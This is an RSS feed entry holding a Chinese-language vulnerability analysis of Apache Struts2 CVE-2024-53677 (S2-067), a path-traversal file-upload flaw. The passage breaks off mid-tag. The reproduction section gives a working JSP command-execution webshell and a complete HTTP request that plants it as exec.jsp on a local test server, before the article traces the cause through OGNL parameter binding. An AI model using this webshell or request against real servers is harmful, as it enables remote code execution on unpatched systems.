<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>中孚安全技术研究</title>
    <link>https://wechat2rss.xlab.app/feed/53c125e4f455e348be9bbe5b4e6fc22088621dc2.xml</link>
    <description>这里聚集了一群有想法又有趣的人。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (中孚安全技术研究)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7Qx3XD9QplqTxFzYhs8shXs2rjLiaZP1kZ93zAoIS74VQ/0</url>
      <title>中孚安全技术研究</title>
      <link>https://wechat2rss.xlab.app/feed/53c125e4f455e348be9bbe5b4e6fc22088621dc2.xml</link>
    </image>
    <item>
      <title>Apache Struts2 文件上传漏洞分析（CVE-2024-53677）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488851&amp;idx=1&amp;sn=efb4d5fe76d020e05760236c16b33ac5</link>
      <description>Apache Struts 的文件上传逻辑存在缺陷，如果应用程序使用了 FileUploadInterceptor，在进行文件上传时，攻击者可以操纵文件上传参数来启用路径遍历，在某些情况下，这可能导致上传可用于执行远程代码执行的恶意文件。</description>
      <content:encoded><![CDATA[<p>
<span>元亨-blckder02</span> <span>2024-12-20 19:30</span> <span style="display: inline-block;">浙江</span>
</p>

<p>Apache Struts 的文件上传逻辑存在缺陷，如果应用程序使用了 FileUploadInterceptor，在进行文件上传时，攻击者可以操纵文件上传参数来启用路径遍历，在某些情况下，这可能导致上传可用于执行远程代码执行的恶意文件。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=55f6f2a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499K3pRcCia7ibqORw4wD3mbDryQv5zHN0VicEdaoPekR6uqBqG1dFfd1KI3w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-top: 9pt;margin-bottom: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span style="background-color: rgb(255, 255, 255);color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;">1. 前言</span></p><p><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告:</span></strong><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">   <br/></span></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://cwiki.apache.org/confluence/display/WW/S2-067" target="_blank">https://cwiki.apache.org/confluence/display/WW/S2-067</a></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞描述：</span></strong><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><br/>Apache Struts 的文件上传逻辑存在缺陷，如果应用程序使用了 FileUploadInterceptor，在进行文件上传时，攻击者可以操纵文件上传参数来启用路径遍历，在某些情况下，这可能导致上传可用于执行远程代码执行的恶意文件。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影响版本：</span></strong><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><br/>Apache Struts：           <br/>

     2.0.0 - 2.3.37（EOL）<br/>

     2.5.0 - 2.5.33 <br/>

     6.0.0 - 6.3.0.2</span></span></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);text-decoration: underline;">2. 环境搭建</span></p><section style="margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">可以参考</span><a target="_blank" href="https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488378&amp;idx=1&amp;sn=1f8fe746251c491a981785d65aaf137c&amp;scene=21#wechat_redirect" textvalue="《Apache Struts2 文件上传漏洞分析（CVE-2023-50164）》" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">《Apache Struts2 文件上传漏洞分析（CVE-2023-50164）》</a></section><section style="margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">将 pom.xml 中 Struts2 的版本改为 6.3.0.2 即可。</span><span style="font-family: Cambria;font-size: 18px;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;"></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>org.apache.struts<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>struts2-core<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>6.3.0.2<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code></pre></section><p style="margin-bottom: 0px;letter-spacing: 0.578px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);text-decoration: underline;">3. 漏洞复现</span></p><section style="letter-spacing: 0.578px;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">同样准备一个jsp木马文件。<br/></span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">&lt;%<span class="code-snippet__selector-tag">Runtime</span><span class="code-snippet__selector-class">.getRuntime</span>()<span class="code-snippet__selector-class">.exec</span>(<span class="code-snippet__selector-tag">request</span><span class="code-snippet__selector-class">.getParameter</span>(&#34;<span class="code-snippet__selector-tag">i</span>&#34;));%&gt;</span></code></pre></section><section style="margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="114" data-backw="578" data-galleryid="" data-imgfileid="100005184" data-ratio="0.19715447154471544" data-s="300,640" style="font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: center;width: 100%;height: auto;" data-type="png" data-w="492" src="https://wechat2rss.xlab.app/img-proxy/?k=0c9b5253&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KBGFtwJPcPutPbPTfCeic5A9jP0iapG4HWhAibic4X3GGnvCegEPHTzjnQw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></section><section style="margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">上传木马文件抓包，在下面添加一个参数，参数名设置为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">top.MyfileFileName</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，参数内容设置为木马文件保存的相对位置及文件名。</span></span></section><section style="margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">从响应包可以看到文件名覆盖成功。</span></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="257" data-backw="578" data-galleryid="" data-imgfileid="100005185" data-ratio="0.4444444444444444" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4643cac6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499K1iaaibOT7vVzemsz8R8Fd9tXSP934m0vYicPFdKVne2q0O10ib0M9MibZYA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">请求包：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">POST /upload.action HTTP/1.1            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Host: 127.0.0.1:8888            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Accept-Encoding: gzip, deflate, br            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Content-Type: multipart/form-data; boundary=---------------------------3701280597827013112747531662            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Content-Length: 438            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Origin: <a href="http://127.0.0.1:8888" target="_blank">http://127.0.0.1:8888</a>            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Connection: keep-alive            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Referer: <a href="http://127.0.0.1:8888/upload.action" target="_blank">http://127.0.0.1:8888/upload.action</a>            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Cookie: JSESSIONID=4209098B9C419F73225118698688A603            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Upgrade-Insecure-Requests: 1            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Priority: u=0, i            </span></span></code><code><span class="code-snippet_outer">       </span></code><code><span class="code-snippet_outer">-----------------------------3701280597827013112747531662            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Content-Disposition: form-data; name=&#34;Myfile&#34;; filename=&#34;S2-067.txt&#34;            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Content-Type: text/plain </span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">&lt;%Runtime.getRuntime().exec(request.getParameter(<span class="code-snippet__string">&#34;i&#34;</span>));%&gt;            </span></code><code><span class="code-snippet_outer">-----------------------------3701280597827013112747531662            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Content-Disposition: form-data; name=&#34;top.MyfileFileName&#34;;             </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Content-Type: text/plain </span></span></code><code><span class="code-snippet_outer">          </span></code><code><span class="code-snippet_outer">../exec.jsp            </span></code><code><span class="code-snippet_outer">-----------------------------3701280597827013112747531662--</span></code></pre></section><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;word-break: break-all;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><o:page></o:page></p><p style="margin-bottom: 16px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">文件保存到了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/uploads</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">目录下，且文件名保存为构造传入的exec.jsp</span></span><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;">。</span><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;"></span></strong><strong style="text-align: left;text-indent: 0pt;outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-wrap-style: initial;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;"></span></strong></p><section style="margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">访问jsp文件，能成功执行命令。</span></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="184" data-backw="578" data-galleryid="" data-imgfileid="100005186" data-ratio="0.31802721088435376" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="588" src="https://wechat2rss.xlab.app/img-proxy/?k=2571f320&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KOibkQCLtaHk58mqPpdaOH7MUDUMibUj074bGPwfHA4uZRwEVeibgnoPmg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);text-decoration: underline;">4. 漏洞分析</span></p><section style="margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">经过对 S66 漏洞的修复，已经不能再使用大小写来二次调用属性的 setter 方法了。学习了 y4tacker 师傅的思路，通过先获取 OgnlValueStack 值栈中的栈顶对象，再访问其属性。           <br/>有三种形式获取栈顶对象：</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">[0]</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">、</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">top</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">、</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">[0].top</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">  <br/></span></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="271" data-backw="578" data-galleryid="" data-imgfileid="100005187" data-ratio="0.46875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=7bda080f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KwmibV4Mz4A4T9phh7PWVPPjicb1nUPhaV3jz8QKVxf9gziacWXib6vqvwA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">但是在参数绑定之前，会对参数进行合规校验，其中有条正则如下，要求</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">(\[\d+])</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">前面还需要存在一些其他字符，所以</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">[0]</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">和</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">[0].top</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">都无法通过参数合规性判断，所以只能使用</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">top</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">来获取栈顶对象。           <br/></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">\w+((\.\w+)<span class="code-snippet__params">|(\[\d+])|</span>(\(\d+\))<span class="code-snippet__params">|(\[&#39;(\w-?|</span>[\u4e0<span class="code-snippet__number">0</span>-\u9fa5]-?)+<span class="code-snippet__string">&#39;])|(\(&#39;</span>(\w-?<span class="code-snippet__params">|[\u4e00-\u9fa5]-?)+&#39;\)))*</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="204" data-backw="578" data-galleryid="" data-imgfileid="100005188" data-ratio="0.35355648535564854" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="956" src="https://wechat2rss.xlab.app/img-proxy/?k=ac94a9b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499Ksw8LibAxLJ7YyiaMMnxO7BNwzJcykwppbyupEqRMSqib6FZYHS4DchKkA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">前面部分的参数处理就不细说了，再看下 S66 那篇分析就可以了。这里就只看一下如何处理的</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">top</span><span style="font-size: 18px;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">节点。           </span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">从 ParametersInterceptor.setParameters() 看起，对 OgnlValueStack 对象进行参数绑定。           <br/>可以看到，TreeMap 对象中，top.MyfileFileName 参数是排在最后一位的，这时前面三个参数都已经绑定完成了，这时 MyfileFileName 参数的是</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">S2-067.txt</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">。</span></span></p><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="279" data-backw="578" data-galleryid="" data-imgfileid="100005189" data-ratio="0.4824074074074074" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ac7e3be1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KOkVAQS1maVP3u1hb66ibly9nHJjHiavf4pgyEq70E5xMJ6FGicv2ehCkg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">跟进到 OgnlUtil.compileAndExecute()，对 top.MyfileFileName 进行表达式解析并执行。（解析为链式节点ASTChain）</span></p><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="241" data-backw="578" data-galleryid="" data-imgfileid="100005190" data-ratio="0.41759259259259257" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e82667a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499K2HqJMOyKcFic8x134jy5GR8LZbdyuiaduQ5Sy0g8cpEYNgaqZZRibG78g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">跟进到 ASTChain.setValueBody()，遍历处理子节点。<br/></span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="322" data-backw="578" data-galleryid="" data-imgfileid="100005191" data-ratio="0.5569620253164557" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1027" src="https://wechat2rss.xlab.app/img-proxy/?k=d188256b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KSIxJ4kp45MFZfBvd7NTia9MuHoQM71ksElwJ38VU3jSl5rXPDY7m43Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">先获取 top 节点的值，到 CompoundRootAccessor.getProperty() 中有这样一段 if 判断，如果子节点为 top，root 不为空，就返回栈顶对象，即 UploadAction。<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="256" data-backw="578" data-galleryid="" data-imgfileid="100005192" data-ratio="0.44351851851851853" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5116b032&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KOsndcB38Xu8MDIOTc1EyKc69m8mjtYl0ZWHOtPo25omu05lavqicnow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">接着就是为 UploadAction 对象的 MyfileFileName 属性设置值，ObjectPropertyAccessor.setPossibleProperty() 中尝试去调用 setter 方法。<br/></span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="405" data-backw="578" data-galleryid="" data-imgfileid="100005193" data-ratio="0.700925925925926" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f6ee4711&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KWlM5FqShQ6GsrWeFuSLc1OPVQXpzcTicM1OUz2ibwdA6h7Xe3IzgP1fw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">ConcurrentHashMap.get()，从缓存中先获取到 UploadAction 的所有 setter 方法，再从中获取 setMyfileFileName() 并返回。<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="387" data-backw="578" data-galleryid="" data-imgfileid="100005194" data-ratio="0.6694444444444444" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9dccb114&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KFnXY2Gvde4YBJ9E1lsdZZFO4cibWgDE1ibEj7e4N39ZJSCW5lKVQnr9g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">接着调用 setMyfileFileName()。</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="324" data-backw="578" data-galleryid="" 